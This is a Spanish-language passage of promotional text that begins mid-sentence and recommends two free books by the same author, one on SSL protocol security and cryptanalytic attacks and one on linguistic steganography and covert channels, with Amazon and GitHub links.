referencias que incluye son buenos puntos de partida 

para aprender sobre errores que siguen 

encontrándose frecuentemente en sistemas 

criptográficos actuales y que es necesario 

comprender para poder evitar que afecten a 

aplicaciones del futuro. Si está interesado en 

cualquier disciplina moderna que tenga que ver con 

la tecnología (IoT, big data, ciberseguridad, etc.) este libro le ayudará a 

comprender las bases de ataques y contramedidas que se usarán en los 

próximos años - https://www.amazon.es/Seguridad-del-protocolo-SSL-

criptoanal%C3%ADticos/dp/1699230021 (Kindle)  

 

https://github.com/mindcrypt/libros → PDF gratuito 
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Estimado lector, el presente documento incluye parte 

de la documentación que consulté y procesé hace más 

de 10 años (2000-2009) para el desarrollo de sistemas 

y canales encubiertos basados en esteganografía 

lingüística (ocultación de información en textos en 

lenguaje natural) para la protección frente a sistemas 

masivos de interceptación de comunicaciones. Este 

documento incluye extractos de una documentación 

más amplia. Una vez pasado este tiempo, he pensado en liberar esta 

información, quizás parte del contenido todavía pueda serle de utilidad. 

Algunas propuestas han sido mejoradas pero muchas otras todavía son 

actuales y le ayudarán a meditar y desarrollar sistemas de protección. Hasta 

mi conocimiento, en lengua española, este documento sigue siendo el mejor 

documento existente para formarse en la ocultación de información en 

lenguaje natural. El documento resume algunas de las técnicas y 

herramientas más famosas, así como se incluye una amplia bibliografía con 

referencias de interés –  

 

https://github.com/mindcrypt/libros/blob/master/Esteganografía%20lingüí

stica%20y%20canales%20encubiertos%20-%20libro.pdf 
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